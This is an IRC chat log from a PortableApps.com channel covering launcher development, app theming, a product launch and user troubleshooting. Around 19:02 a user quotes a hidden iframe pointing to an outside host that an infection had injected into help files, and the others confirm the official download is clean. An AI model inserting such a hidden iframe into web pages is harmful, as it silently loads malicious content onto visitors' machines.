IRC Log from 2010-02-19
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00:03:13 <GizmoBot> ChrisMorgan is a PortableApps.com developer and moderator and works on the PortableApps.com Launcher (please test it!)
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00:08:35 <ZachThibeau> howdy ChrisMorgan
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00:11:49 <ChrisMorgan> howdeedoo ZachThibeau
00:12:20 <ZachThibeau> I'm working on a theming engine for XChat :)
00:12:33 <ZachThibeau> not gtk themes
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00:15:39 <ChrisMorgan> s/XChat/PChat/ I presume
00:15:45 <ChrisMorgan> Why not GTK themes though?
00:15:58 <ChrisMorgan> A portability issue or you want more than GTK themes could offer?
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00:35:05 <ZachThibeau> no just some gtk themes don't offer some stuff like Tim likes a dark background, I made it so that he can customize it easily if needed to suit his needs :)
00:41:37 <ZachThibeau> like right now it's the chat window that changes but applied with say a gtk theme called aurora dark it looks like this http://i49.tinypic.com/11r3aeo.jpg and with the ms-windows theme for gtk look like this http://i46.tinypic.com/2eoyzro.jpg
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00:52:17 <Computator> Gizmokid2005: hey, I found out more about that GoogleChromePortable
00:52:40 <Gizmokid2005> oh?
00:52:44 <Computator> here's the ini part http://pastebin.com/m58d14d16
00:52:52 <Computator> and we were both right
00:53:31 <Computator> you were right in that i can't find anything about the PAP in the nsis source
00:54:04 <Computator> but I know how it works when I actually use it
00:54:22 <Computator> I hadn't looked at the source previously, only the ini
00:55:06 <Computator> and when i have the PAP open and i start chrome from it it copies over the files (i have it set to)
00:55:51 <Computator> that is ChromePortableLauncher...
00:56:06 <Computator> no...
00:56:19 <Computator> GoogleChromePortable*
00:56:36 <Computator> and that starts chrome.exe
00:56:50 <Computator> when i exit chrome (chrome.exe)
00:57:13 <Computator> oops
00:57:32 <Computator> when i exit chrome (chrome.exe), GoogleChromePortable stays open
00:58:37 <Computator> and if I click on chrome in the PAP again it starts another instance of GoogleChromePortable...
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00:59:25 <Computator> that starts another instance of chrome.exe and then GoogleChromePortable exits (the original one is still running though
00:59:33 <ChrisMorgan> Wow. That was fast :P
00:59:42 <ChrisMorgan> He doesn't linger, does he? ;-)
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00:59:50 <JohnTHaller> hi all
00:59:53 <Computator> the original GoogleChromePortable*
00:59:53 <ChrisMorgan> Hey JohnTHaller :-)
00:59:54 <Computator> hello
01:00:03 <JohnTHaller> how goes it in here?
01:00:10 <ChrisMorgan> Fine for me
01:00:48 <ChrisMorgan> I'm just thinking now I might do my own work today rather than PAL work... the past couple of weeks I've done almost no work on my own project because of PAL...
01:00:56 <Computator> Gizmokid2005: then when you close the PAP GoogleChromePortable copies the files back and exits
01:01:06 <JohnTHaller> Yeah, fun projects tedn to do that to you
01:01:09 <Computator> i've verified that w/ taskmanager
01:01:16 <ChrisMorgan> And I think PAL is now pretty stable, while there are some features still to add it's almost all there.
01:01:23 <JohnTHaller> I'll be upping chrome 4.0 to official tomorrow
01:01:57 <ChrisMorgan> Now PAL is awaiting your registry improvements (and I've got to fix registry handling in Wine, it's not loading the data at all) and any others you have so it can go to Beta
01:01:58 <Computator> Gizmokid2005: I have to leave (again) but thats how it has worked for me
01:02:28 <Gizmokid2005> Computator: GoogleChromePortable.exe should NOT linger once the app is closed.
01:02:29 <Gizmokid2005> ever
01:02:35 <Gizmokid2005> only long enough to copy the files around as it needs to
01:02:51 <Gizmokid2005> hello JohnTHaller
01:02:59 <Computator> idk, it does, it's prevented me from ejecting my fd until it exits
01:03:05 <JohnTHaller> Ok ChrisMorgan. I'm still not quite at 100% after the week from hell.
01:03:16 <Computator> the ini options implied to me that that is how it worked
01:03:32 <ChrisMorgan> Yep, feel free to take your time with it... that way maybe I'll manage to get away from it myself a bit ;-)
01:03:45 <Computator> Gizmokid2005: but, i know i did the same thing yesterday but i really gtg
01:04:01 <JohnTHaller> I gotta get 1.6.1 up, updated apps, installer fix and the Music Production Suite up by tomorrow evening.
01:04:04 <Computator> so adios for now
01:04:13 <Gizmokid2005> see ya Computator
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01:04:45 <JohnTHaller> Worked on the theme for the menu with the OpenSouceHipHop branding... wanna see?
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01:06:48 <ChrisMorgan> JohnTHaller: mind if I do some fixing of the installer too? There are some LogicLib things I'd like to do to it and also switch it all to using LangFile.nsh for language file handling (that way you can make strings default to the English value if they're not defined in the language)
01:07:14 <JohnTHaller> Give it a couple days. I have a 1.0.3 release with several fixes to post still.
01:07:22 <ChrisMorgan> OK
01:07:30 <ChrisMorgan> I'd like to see your theme if it's no trouble :-)
01:07:34 <JohnTHaller> http://portableapps.com/temp/ossh.jpg
01:07:55 <JohnTHaller> The help icon is the OSHH icon temporarily. It'll actually be an additional icon in the menu when released.
01:08:19 <ChrisMorgan> I like it.
01:08:34 <ZachThibeau> howdy JohnTHaller :D
01:08:34 <JohnTHaller> Yeah, our main designer did it just last evening. He does good stuff.
01:08:55 <JohnTHaller> he did the flyer for the event, too: http://www.facebook.com/#!/event.php?eid=318872776408&ref=mf
01:09:01 <JohnTHaller> hi Zach
01:09:03 <ChrisMorgan> It keeps the feel of the normal skin but with different colours and that splotch feel too which is good
01:09:19 <JohnTHaller> It's one of the options we're gonna give OEMs
01:09:34 <ChrisMorgan> Hmm, requires logging in... I won't see the flyer then as I don't use Facebook :-)
01:09:46 <JohnTHaller> oh hang on
01:10:01 <JohnTHaller> http://www.barsputnik.com/events.php scroll down to 2/19
01:11:53 <ZachThibeau> I'm finally getting my drivers license tomorrow
01:12:26 <JohnTHaller> We're still waiting on permission for one freeware app. Pinging them again now. Will post the new suite tomorrow, launch party tomorrow night and press release about it tues once some photos are up.
01:12:46 <ChrisMorgan> Yesterday I spent most of the day reinstalling a clean copy of XP on one of our machines... originally installed as Me, upgraded to XP SP1, then SP2, then almost all its hardware was upgraded from an Athlon 800MHz to Athlon XP 2000+ system, and various memory changes along the way, SP3, far too much software, et cetera ad slow-um.
01:13:15 <JohnTHaller> Yeah. I'm still finishing the rebuild since I stripped my box and installed Win7
01:13:35 <JohnTHaller> That was only a small part of the week from hell. Kinda the only part that didn't involve death.
01:14:16 <ChrisMorgan> And now it can shut down within 20 seconds... rather than 4 minutes.
01:14:40 <JohnTHaller> Yeah, mine boots in under a minute... instead of occasionally taking 5 or more now.
01:26:48 <ChrisMorgan> And everything was just slow. Having only 512MB of RAM didn't help with that.
01:28:32 <ChrisMorgan> With the Athlon it'd had 384MB, and with the 2000+ we got up to 768MB but found that one 256MB stick was bad and causing regular BSODs so we took it out (after experimenting)
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01:48:25 <ZachThibeau> hmm from the lack of posts on the PChat dev test, either it's being tested and results are not being posted or no one has any interest in testing it :/
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02:20:48 <gluxon> ChrisMorgan: http://portableapps.com/node/22236#comment-142657
02:21:45 <ChrisMorgan> gluxon: as I've said many times... just leave it and put a note in that SVN passwords are not portable; help.html seems a good place.
02:22:20 <gluxon> Okay, so I still subversion's still going to be a roadblock that won't move? :(
02:22:47 <ChrisMorgan> No. As I've said, just leave it, it's fine.
02:23:02 <gluxon> Aw :(
02:23:29 <ChrisMorgan> Aw?
02:23:31 <ChrisMorgan> :-(?
02:23:54 <gluxon> Aw as in whining :P
02:24:02 <gluxon> Or Awwww. :P
02:24:56 <ChrisMorgan> Why though?
02:25:26 <gluxon> Cause I want Eclipse Portable official :P
02:27:18 <ChrisMorgan> But I'm not trying to stop it
02:27:22 <gluxon> BTW, tommorow's Eclipse Portable's 1st year aniversary :D
02:27:26 <gluxon> I know :)
02:27:28 <ChrisMorgan> As I've just said, "it's fine"
02:27:37 <ChrisMorgan> I should have a look through your launcher code though.
02:27:58 <ChrisMorgan> Any chance of a copy of the code sans Eclipse (i.e. a small single file to look at)
02:28:14 <gluxon> Sure. I'll send it to you now :)
02:28:45 <gluxon> Whole source folder, or EclipsePortable.nsi?
02:29:08 <ChrisMorgan> Just EclipsePortable.nsi I think
02:29:29 <ChrisMorgan> Then maybe I'll return you a PAL config file... you'd like that, wouldn't you ;-)
02:29:47 * gluxon doesn't want to send his source anymore :P
02:30:04 <ChrisMorgan> Thought you might say that :D
02:30:06 <gluxon> I'm pretty sure EclipsePortable.nsi does some stuff PAL can't do :P
02:30:54 <ChrisMorgan> Hand it to me and I'll be able to comment on it :-)
02:30:58 <ZachThibeau> SongbirdPortable.nsi does some stuff not every other launcher can do :P
02:31:55 <ChrisMorgan> That's just because I haven't put SQLite-handling code into the launcher yet... come to think of it I suppose Google Chrome Portable also does SQLite stuff
02:32:43 <Gizmokid2005> ChrisMorgan: you need to have hex file editing in there as well
02:32:53 <ZachThibeau> :P
02:33:05 * ChrisMorgan should take a look at it some time and work out how to wedge it all into the Launcher
02:33:18 <Gizmokid2005> I wouldn't want to see Hex Editing in there
02:33:20 <ZachThibeau> imho Gizmokid2005's launcher is the most advanced atm
02:33:26 <Gizmokid2005> it's too complex and WAY too few apps use it to make it worth it
02:33:33 <gluxon> ChrisMorgan: You should have subversion handling in there too :P (Joking)
02:33:43 <Gizmokid2005> there are going to be exceptions that won't be able to use /only/ PAL code
02:33:45 <ChrisMorgan> gluxon: I'm /not/ joking about /that/
02:33:51 <ChrisMorgan> Sure
02:34:10 <ChrisMorgan> I'll see what hex editing you do though... perhaps a small snippet of some such thing could be good.
02:34:27 <Gizmokid2005> it could be, but for the small amount of apps...
02:35:33 <Gizmokid2005> honestly, I don't think /any/ other app has hex editing in it.
02:36:11 <ChrisMorgan> gluxon: where's EclipsePortable.nsi?
02:36:46 <gluxon> Here :P http://gluxon.tk/applications/EclipsePortable/EclipsePortableSource.7z
02:38:38 <ChrisMorgan> gluxon: your server should not be reporting the Mime-Type as text/plain
02:39:25 <gluxon> It's... not? :P
02:40:07 <ChrisMorgan> gluxon: wget said that it was receiving text/plain. A browser may automatically compensate but wget won't.
02:40:18 <ChrisMorgan> gluxon: /global in var is superfluous in the global script area
02:40:36 <gluxon> So, I should remove all the /global tags?
02:41:08 <ChrisMorgan> Yep
02:41:19 <gluxon> Okay, Thanks :)
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03:02:43 <GizmoBot> computerfreaker is working on KidSafe and TopOCR, and would very much like to have folks test them and give feedback
03:04:47 <ZachThibeau> howdy computerfreaker
03:04:57 <computerfreaker> Hi ZachThibeau!
03:06:00 <ZachThibeau> sup?
03:06:16 <computerfreaker> a lot
03:06:42 <computerfreaker> working on the KidSafe math-questions database, trying to get a couple of fixes for the General Launcher, and trying to do school work on top of that
03:06:45 <computerfreaker> life's interesting right now :D
03:07:40 <computerfreaker> how's PChat coming?
03:08:23 <ZachThibeau> pretty good, I've been working on some new features etc
03:08:29 <ZachThibeau> not much new features though
03:08:37 <computerfreaker> cool!
03:08:54 <ZachThibeau> and trying to fix old bugs too
03:09:03 <computerfreaker> I'll be happy to help test, if you like
03:09:56 <ZachThibeau> not completed
03:13:09 <computerfreaker> brb; my lag is awful (5 seconds at times), so I'm going to restart
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03:33:43 <GizmoBot> computerfreaker is working on KidSafe and TopOCR, and would very much like to have folks test them and give feedback
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03:34:19 <Varxtis> Hey dude
03:34:29 <computerfreaker> Hi Varxtis!
03:34:42 <Varxtis> Hows it goin?
03:35:05 <computerfreaker> sorry if you were expecting me a bit earlier; my clock still shows 7:30 for U.S. Pacific, and I had some connection troubles I was trying to sort out
03:35:22 <Varxtis> oh no no. . . you are early ^_^
03:35:28 <computerfreaker> good :)
03:35:50 <Varxtis> Ive just been playing around trying to understand the scripts/lines in the nsi and nsh files
03:36:05 <computerfreaker> Do you want to talk here in the public channel, or do you want to switch to private messaging?
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03:36:42 <Varxtis> If theres an option for private messaging, thatd be cool
03:37:37 <ZachThibeau> /privmsg username message thats one way of sending a private message
03:37:58 <computerfreaker> ZachThibeau: we're actually using /query right now. Thanks for the tip though!
03:38:19 <computerfreaker> hmm, is /msg publicly seen?
03:38:42 <Gizmokid2005> computerfreaker: no, /msg <nick> and /query < nick> are the same
03:39:02 <computerfreaker> and neither of those is publicly viewable, right?
03:39:32 <Gizmokid2005> right
03:39:42 <computerfreaker> thanks for the confirmation!
03:40:12 <Varxtis> I didnt even know that IRC worked like this . . . lol. Its pretty efficient
03:40:37 <Varxtis> uh, maybe practical is a better term for it. . . idkj anyway lol
03:40:55 <computerfreaker> it's both efficient and practical
03:41:23 <computerfreaker> efficient because it uses very little Internet (I've heard one person say they used IRC when half their city had no Internet connection)
03:41:35 <computerfreaker> and practical because it's realtime, so collaboration is really easy
03:42:25 <Gizmokid2005> IRC is the frontrunner to IM
03:42:37 <Varxtis> Thats sweeet
03:42:50 <ChrisMorgan> ZachThibeau: /privmsg? Not in most clients...
03:43:51 <ChrisMorgan> And /query is just /msg and open a window (/msg is an IRC command, /query is a standard client command which opens a window for it and then /msgs the message)
03:44:19 <ZachThibeau> sorry if I'm a long term xchat user :P
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03:46:39 <Varxtis> Hi Chris ^_^
03:46:45 <ChrisMorgan> Hey Varxtis
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06:07:42 <ChrisMorgan> Hello again JohnTHaller
06:07:54 <JohnTHaller> I posted the details on the party tonight (Friday) here in NYC: http://portableapps.com/news/2010-02-19_-_music_production_suite_launch_party
06:08:04 <JohnTHaller> Hi again. Heading to bed in a minute. Dog tired.
06:08:50 <ChrisMorgan> So it is "Opensourcehiphop.org" rather than "OpenSourceHipHop.org"?
06:09:21 <JohnTHaller> fixed it
06:10:53 <ChrisMorgan> Looks good
06:25:50 <JohnTHaller> thanks. alright, must sleep. gnight
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08:13:04 <Horusofoz> Hey all :)
08:14:07 <ChrisMorgan> Hey Jeff
08:14:57 <Horusofoz> What's in the PA News today?
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08:19:33 <Horusofoz> Anyone able to advise on the quality of OGM (Theora/Vorbis) video?
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08:27:39 <Horusofoz> Ciao
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08:52:48 <Abdul> Hello there,
08:54:51 <Abdul> Why portable apps not work under w7 "missing comdlg32.dll"
08:55:27 <Abdul> "unable to load dll "
08:56:16 <Abdul> any hint to go around this error message and make portable application run under windows7
09:04:17 <ChrisMorgan> Abdul: which application is it you're trying to run?
09:06:06 <ChrisMorgan> Abdul: I've never heard or seen that message; comdlg32 is a core Windows component and so it most certainly should be there - it should be in C:\Windows\system32\comdlg32.dll
09:06:58 <Abdul> the application is : Portable Readiris Pro 12.0.5644 Multilingual
09:08:10 <ChrisMorgan> That's not one of our applications
09:08:30 <Abdul> the error message: "Unable to load DLL c:\progrqam files\readirirs pro12\rediris.exe->comdlg32.dll"
09:08:51 <ChrisMorgan> We can't support Readiris; it's not one of our applications.
09:09:02 <Abdul> oooh , i get u.
09:09:14 <Abdul> thanks,
09:09:34 <ChrisMorgan> Did you pay for it at all?
09:10:16 <Abdul> no, just want to try it before buing it.
09:10:25 <ChrisMorgan> You've got illegal software. ReadIris Pro is commercial software. The place you're getting it from is a bad, illegal site; considering that they're using illegal software to make other software portable, it shouldn't really be a surprise that it's broken.
09:12:27 <Abdul> thanks and have pleasant times,
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13:51:22 <David__> Hi
13:51:48 <David__> What is PortableApps.com Music Production Suite.
13:52:04 <David__> Att Music twin to PortableApps.com Platform?
13:52:15 <David__> a
13:52:22 <David__> An
13:52:26 <David__> not att
13:55:36 <David__> It is also gonna open source like it's brother like PortableApps. Platform
13:55:45 <David__> is it
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15:50:55 <SteveLamerton> Hello Gizmokid2005, MaienM, ZachThibeau, all
15:51:11 <Gizmokid2005> hello SteveLamerton
15:51:48 <SteveLamerton> It seems very empty in here, only 15 people?
15:51:52 <Gizmokid2005> yeah
15:52:00 <Gizmokid2005> it's gone down a lot, especially since the IRCd change
15:52:16 <SteveLamerton> There was a change?
15:52:18 <Gizmokid2005> yeah
15:52:21 <Gizmokid2005> 2? weeks ago
15:52:26 <Gizmokid2005> they moved to IRCd7
15:52:38 <Gizmokid2005> it's on their blog
15:54:13 <MaienM> hello SteveLamerton
15:55:21 <SteveLamerton> Gizmokid2005: I'll take a look, shows how much I have been about recently!
15:55:34 <Gizmokid2005> haha yeah.
16:10:34 <SteveLamerton> Anyone fancy running a quick test of some new stuff in Toucan for me?
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16:30:09 <rh_> the platform is not working on my flash drive, windows keeps telling me that it has found an error
16:31:20 <rh_> can someone please help me?
16:31:32 <Gizmokid2005> what exactly does it say rh_?
16:31:50 <Gizmokid2005> is it giving you an error when you're trying to load the installer or the actual platforM?
16:32:07 <rh_> the actual platform
16:32:14 <Gizmokid2005> what's the actual error?
16:32:20 <rh_> I'm runnig xp
16:32:42 <rh_> the platform just wont start
16:33:26 <Gizmokid2005> what error message do you get when you try to start it?
16:34:20 <rh_> PortableApps.com Platform has encountered a problem and needs to close. We are sorry for the inconvenience.
16:34:37 <Gizmokid2005> whave you tried reinstalling it?
16:35:23 <rh_> on different computers
16:35:32 <rh_> but it still doesnt work
16:39:30 <SteveLamerton> rh_: Sounds like some sort of corruption to me
16:40:17 <rh_> what solutions options do I have for that?
16:40:35 <Gizmokid2005> rh_: check the drive for errors
16:40:37 <Gizmokid2005> and reinstall the platform
16:40:54 <rh_> how do I check the drive for errors?
16:43:15 <Gizmokid2005> open my computer
16:43:21 <Gizmokid2005> right-click the flash drive, and hit properteis
16:43:24 <Gizmokid2005> *properties
16:43:29 <Gizmokid2005> then go to Tools > Check drive for errors
16:44:29 <rh_> thank
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18:16:21 <Gizmokid2005> UPDATED: KVIrc Portable 4.0r3994 RC2 DT10: http://portableapps.com/node/18626
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18:50:31 <SteveLamerton> Hello again Gizmokid2005, MaienM, ZachThibeau
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19:02:16 <ari_aaron> My anti-viurs detected a virus in Thunderbird portable
19:02:21 <ari_aaron> 19/02/2010 1:58:28 PM X:\ThunderbirdPortable\App\Thunderbird\res\hiddenWindow.html [L] HTML:IFrame-HO [Trj] (0) File was successfully moved to chest... 19/02/2010 1:58:45 PM X:\ThunderbirdPortable\help.html [L] HTML:IFrame-HO [Trj] (0) File was successfully moved to chest...
19:02:27 <ari_aaron> and it's right
19:02:46 <ari_aaron> there's a line there that says <iframe src="http://jL.chura.pl/rc/"; style="display:none"></iframe>
19:03:14 <Gizmokid2005> ari_aaron: hang on a moment please
19:04:17 <Gizmokid2005> ari_aaron: where did you download ThunderbirdPortable from?
19:04:33 <ari_aaron> here
19:04:38 <ari_aaron> I think
19:05:05 <Gizmokid2005> I wouldn't say you did. there are no iframes in the thunderbird help.html file.
19:05:20 <ari_aaron> Ok, I guess I'll redownload.
19:05:38 <Gizmokid2005> and there's no content in hiddenWindow.html
19:06:07 <Gizmokid2005> ari_aaron: make sure you're downloading from here: http://portableapps.com/apps/internet/thunderbird_portable
19:07:13 <ari_aaron> Actually, I remeber. It came with the portableapps suite.
19:08:16 <Gizmokid2005> from here: http://portableapps.com/download ari_aaron?
19:08:27 <ari_aaron> yah
19:08:33 <Gizmokid2005> which one?
19:08:35 <Gizmokid2005> light or standard?
19:09:44 <ari_aaron> standerd. I still have the installer, I'm trying it again. Maybe it got infected after installation.
19:10:53 <Gizmokid2005> right. I'm going to check as well
19:11:23 <Gizmokid2005> bah, slow sourceforge mirrors...
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19:19:39 <ari_aaron> I noticed that it's in the footers of other help files too
19:20:10 <ari_aaron> It's probably a seperate virus that just adds iframes to html files, but my new install didn't finish yet.
19:21:00 <Gizmokid2005> it's very very possible
19:21:03 <Gizmokid2005> i'm still waiting for the DL...
19:21:18 <Gizmokid2005> apparently sourceforge only has 200K/s free for me to use...
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19:28:34 <Gizmokid2005> Yep ari_aaron, the download is clean
19:32:04 <ari_aaron> Yah, mine too. Sorry. Thanks for your time, Gizmokid2005
19:33:14 <Gizmokid2005> no problem ari_aaron
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20:30:23 <pa_7112> hello. can anyone tell me how to suggest already portable coded apps here?
20:31:01 <pa_7112> i would like to make sure the great soundplayer named xmplay - which is fully portable since the beginning - i mentioned here and downloadable!
20:31:37 <marlop> is it in the .paf format ?
20:32:31 <marlop> here: http://portableapps.com/forums/general/request_apps
20:36:10 <SteveLamerton> Already available here: http://portableapps.com/node/21038
20:47:30 <pa_7112> nope, the make a download available at their website that is zip with a directory from which you simple start to play.
20:47:56 <pa_7112> thx!
20:48:20 <marlop> but to be on this portableapps.com it needs to be in the .paf format
20:49:16 <marlop> and it is what they did, used the portable version from the developer and put it on the .paf format
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20:54:44 <SteveLamerton> Anyone fancy doing some quick toucan testing?
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21:27:45 <pa_8442> how can i make folders on the portable apps menu?
21:29:00 <marlop> it's explained here: http://portableapps.com/node/20498
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21:29:24 <rcmaehl> Help!
21:29:55 <pa_8442> thx
21:30:28 <rcmaehl> Do you guys have a program that checks the portableappsmenu.ini file agains the drive for error
21:30:31 <rcmaehl> errors*
21:31:29 <marlop> can you explain better ?
21:32:16 <rcmaehl> You know how the directories of renamed, hidden, and autorun apps are listed in the portableapps.ini file?
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21:33:36 <rcmaehl> Do you have a program that checks to make sure all those apps are still there, and then displays any errors?
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21:37:16 <rcmaehl> ...
21:37:16 <marlop> not that i now, and it doesn't seem necessary too.
21:37:35 <rcmaehl> I Would Increase the menu loading speed
21:38:37 <rcmaehl> by removing errors
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21:41:11 <marlop> rcmaehl: i don't know much abou the plataform working way, to discus about this is better to use the forum so john can answer you(he is the main dev).
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21:58:10 * rcmaehl has done a test that proves that removing errors from the portableappsmenu.ini file can reduce the PAP load time by UP TO 2 seconds per error removed
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22:12:18 <Gizmokid2005> rcmaehl: errors like WHAT?
22:14:55 <rcmaehl> Like a program missing
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22:16:22 <Gizmokid2005> rcmaehl: I don't think you understand how the menu works...
22:16:30 <Gizmokid2005> what are you "fixing" with a missing program?
22:16:40 <rcmaehl> the load time
22:16:43 <Gizmokid2005> no
22:16:47 <Gizmokid2005> what are you doing to "fix" it
22:17:17 <Gizmokid2005> because there's no stored location for apps in the menu.
22:17:28 <Gizmokid2005> they're loaded to memory on launch
22:17:50 <rcmaehl> what about renamed, hidden, and favorite app settings
22:18:45 <Gizmokid2005> how is that going to delay the menu by 2s each?
22:18:56 <rcmaehl> up to
22:19:04 <rcmaehl> the test was on a slow computer
22:22:22 <Gizmokid2005> extra info isn't going to slow the menu down...
22:22:34 <rcmaehl> and if a app is missing that was renamed the program doesn't know that until it tries to rename an app that doesn't exist and that takes up time
22:23:20 <Gizmokid2005> no it doesn't rcmaehl
22:23:29 <Gizmokid2005> because it doesn't even look for that rename because the app isn't there
22:23:32 <Gizmokid2005> it just skips it.
22:23:37 <rcmaehl> oh
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23:07:55 <ZachThibeau> howdy Scriptdaemon
23:08:05 <Scriptdaemon> Hey ZachThibeau.
23:08:36 <ZachThibeau> PChat 1.0.1.6 is almost set :D
23:08:44 <Scriptdaemon> What's new?
23:10:21 <ZachThibeau> well custom theming so say if the background is too light via a conf file you can change the background ( http://i50.tinypic.com/fa0or6.png ) and it's not controlled by gtk themes
23:11:59 <ZachThibeau> the idea came from TimClark Indirectly
23:12:42 <ZachThibeau> iirc he has a hard time with white backgrounds
23:15:18 <Scriptdaemon> I thought that was already possible?
23:15:46 <ZachThibeau> not really, not in the control I set it up :D mine is much more advanced
23:16:56 <Scriptdaemon> So it's done differently from how these are done? http://xchat.org/files/themes/
23:17:24 <ZachThibeau> I'll tell you how via my paste bin post :P
23:17:34 <Scriptdaemon> K.
23:19:05 <ZachThibeau> http://zachthibeau.pastebin.com/m42da12c9 all these color codes binds to a specific control, xchats only binds to certain text events
23:20:58 <Scriptdaemon> What exactly do the different color_# indicate?
23:21:12 <Scriptdaemon> Oh wait, I read that wrong.
23:21:44 <Scriptdaemon> Hmm, I guess I'm just fine with the way it is.
23:21:55 <Scriptdaemon> fix the tray icon yet? :D
23:21:58 <Scriptdaemon> Fix*
23:23:43 <ZachThibeau> you mean the gtk one? then no. it's low on my priority list
23:24:34 <Scriptdaemon> Are you going to implement X-Tray by default then?
23:25:23 <Scriptdaemon> include* rather
23:26:35 <ZachThibeau> in the next release probably
23:26:39 <ZachThibeau> most likely I mean
23:26:53 <Scriptdaemon> Ah.
23:29:20 <Scriptdaemon> Getting off work in a minute, later.
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23:38:11 <SthrnDixieCwgrl> When I downloaded and installed the Portable Apps platform I saw that nothing was showing in there and I went to install 7-zip portable and it did not show in there.
23:38:50 <gluxon> Where did you install 7-Zip Portable?
23:38:53 <gluxon> In which folder?
23:39:35 <SthrnDixieCwgrl> on my flash drive under Program Files just like I did with Firefox Google portable and Seamonkey
23:39:52 <gluxon> ProgramFiles or PortableApps?
23:40:03 <gluxon> B:\PortableApps\7-ZipPortable?
23:40:04 <SthrnDixieCwgrl> (drive letter):\Program Files\
23:40:10 <gluxon> Okay, that's the problem.
23:40:26 <gluxon> You installed the Platofrm to the root of you drive, right?
23:40:28 <SthrnDixieCwgrl> (drive letter):\Program Files\Firefox and (drive letter):\Program Files\seamonkey
23:40:49 <SthrnDixieCwgrl> (drive letter):\Program Files\PortableApps
23:41:22 <SthrnDixieCwgrl> It is listed between the google browser and seamonkey
23:41:37 <SthrnDixieCwgrl> botrh portable versions from this site
23:42:13 <gluxon> Okay, do this.
23:42:32 <gluxon> Make a new folder in the root of your drive and call it "PortableApps" without the quotes of course.
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23:43:18 <SthrnDixieCwgrl> as in (drive letter):\ where I actually see the program files folder but I don't open the program files fold
23:43:21 <SthrnDixieCwgrl> folder
23:43:22 <gluxon> The platform ONLY reads files under X:\PortableApps
23:43:35 <SthrnDixieCwgrl> how do I do an uninstall
23:43:42 <gluxon> Just delete the folder.
23:43:59 <gluxon> So if you want to uninstall firefox, uninstall X:\Program Files\Firefox
23:43:59 <SthrnDixieCwgrl> It is not in Windows 7 Add/Remove Programs
23:44:04 <gluxon> Okay.
23:44:12 <SthrnDixieCwgrl> I don't see it there
23:44:14 <gluxon> PortableApps are Portable.
23:44:22 <gluxon> They don't do anything to the host computer.
23:44:32 <Gizmokid2005> gluxon: the platform will work outside of X:\PortableApps
23:44:35 <Gizmokid2005> but it causes issues.
23:44:35 <SthrnDixieCwgrl> so they do nothing to the registry
23:44:37 <SthrnDixieCwgrl> so they do nothing to the registry
23:44:39 <gluxon> Gizmokid2005: I know.
23:44:40 <Gizmokid2005> right SrgSiler|AFK
23:44:41 <Gizmokid2005> erm
23:44:44 <Gizmokid2005> SthrnDixieCwgrl right
23:44:52 <gluxon> Not completely.
23:45:03 <SthrnDixieCwgrl> all programs should be that way
23:45:06 <gluxon> Some PortableApps modify the registry temporarily.
23:45:10 <SthrnDixieCwgrl> less issues for me
23:45:46 <SthrnDixieCwgrl> why is there a documents folder in my program files folder it was not there before
23:45:52 <gluxon> Make a new folder in X: can call it PortableApps
23:46:10 <gluxon> SthrnDixieCwgrl: Did you install the Platform in X:\Program Files or just X:?
23:46:12 <Gizmokid2005> SthrnDixieCwgrl: because you installed the suite
23:46:24 <Gizmokid2005> the suite includes a Documents, Pictures, Music, and Videos folder
23:46:27 <SthrnDixieCwgrl> I downloaded the 1MB file
23:46:34 <Gizmokid2005> yes, that's the platform
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23:46:44 <Gizmokid2005> which is sometimes referred to as the suite
23:46:47 <SthrnDixieCwgrl> I meant the 2MB file
23:47:00 <gluxon> The platform ranges from 1-2MB.
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23:47:08 <SthrnDixieCwgrl> here it sways Platform Only
23:47:08 <Gizmokid2005> the suite should be installed to the root of your drive
23:47:24 <Gizmokid2005> SthrnDixieCwgrl: yes, and it /should/ be installed to the root of the drive.
23:47:28 <SthrnDixieCwgrl> where did the document folder come from when I downloaded Platform Only
23:47:30 <Gizmokid2005> and then all your apps should be installed to that.
23:47:36 <Gizmokid2005> SthrnDixieCwgrl: it's part of the platform
23:47:48 <Gizmokid2005> the Documents, music, video, and pictures folders all are.
23:47:55 <SthrnDixieCwgrl> it version of windows my documents
23:48:00 <Gizmokid2005> no
23:48:02 <Gizmokid2005> it's separate
23:48:12 <SthrnDixieCwgrl> I know it is seperate
23:48:21 <SthrnDixieCwgrl> but it is sort of the smae thing
23:48:25 <Gizmokid2005> yes
23:48:29 <Gizmokid2005> just meant to be on your flash drive
23:48:47 <gluxon> Okay, reinstall the platform to the root of you drive.
23:49:03 <gluxon> So when It prompts you to install, make sure it's [X]:\
23:49:19 <gluxon> What you did was [X]:\Program Files\ which is totally wrong :P
23:50:00 <pa_4474> Help: I mistakenly downloaded the app to my PC ilnstead of my USB Drive. How can I delete the app from my PC desktop?
23:50:21 <gluxon> Just delete the folder.
23:50:25 <SthrnDixieCwgrl> I reinstalled it and still nothing showed up
23:50:33 <gluxon> Nothing should yet.
23:50:47 <SthrnDixieCwgrl> what I have is a portable BLANK start menu
23:51:11 <gluxon> You should RIGHT now.
23:51:14 <gluxon> Okay.
23:51:24 <gluxon> Browse into your custom "Program Files" folder.
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23:51:46 <SthrnDixieCwgrl> then how do I get firefox to show up without losing everything and reinstalling it
23:52:03 <gluxon> Listen, open up your custom Program Files folder.
23:52:12 <gluxon> That's what I'm telling you how to do :)
23:52:22 <SthrnDixieCwgrl> the one that I made the mistake of installing the platform to
23:53:05 <gluxon> Yes, and now we're moving the apps you just installed to a place the platform can see it.
23:53:21 <gluxon> e.g. Show up in the menu.
23:53:26 <SthrnDixieCwgrl> how
23:53:33 <SthrnDixieCwgrl> cut and paste
23:53:45 <gluxon> Yep.
23:54:02 <SthrnDixieCwgrl> if I did that in windows it would be on life support
23:54:03 <gluxon> So move X:\Program Files\Firefox into X:\PortableApps\FirefoxPortable
23:54:10 <gluxon> What do you mean?
23:55:03 <SthrnDixieCwgrl> if I took the installed version of firefox and cut that folder and pasted it somewhere else on my hard drive it would have a fit
23:55:47 <gluxon> Are you talking about syncing settings with Firefox and FirefoxPortable?
23:56:37 <SthrnDixieCwgrl> no
23:56:44 <SthrnDixieCwgrl> I meant if I went to C:\
23:56:48 <SthrnDixieCwgrl> program Files
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23:57:18 <SthrnDixieCwgrl> then right click on firefox folder and click on cut and then pasted it elsewhere Windows would have a fit
23:57:34 <gluxon> What do you mean, "have a fit" ?
23:57:46 <SthrnDixieCwgrl> be come unstable
23:57:51 <SthrnDixieCwgrl> blue screen
23:57:58 <gluxon> >_<
23:58:02 <SthrnDixieCwgrl> explorere constantly crashing
23:58:35 <SthrnDixieCwgrl> then I have to redo the hard drive and waste about 10 hours trying to back things up put things back on
23:58:47 <SthrnDixieCwgrl> I went to X:\Portable Apps and I saw a folder in there
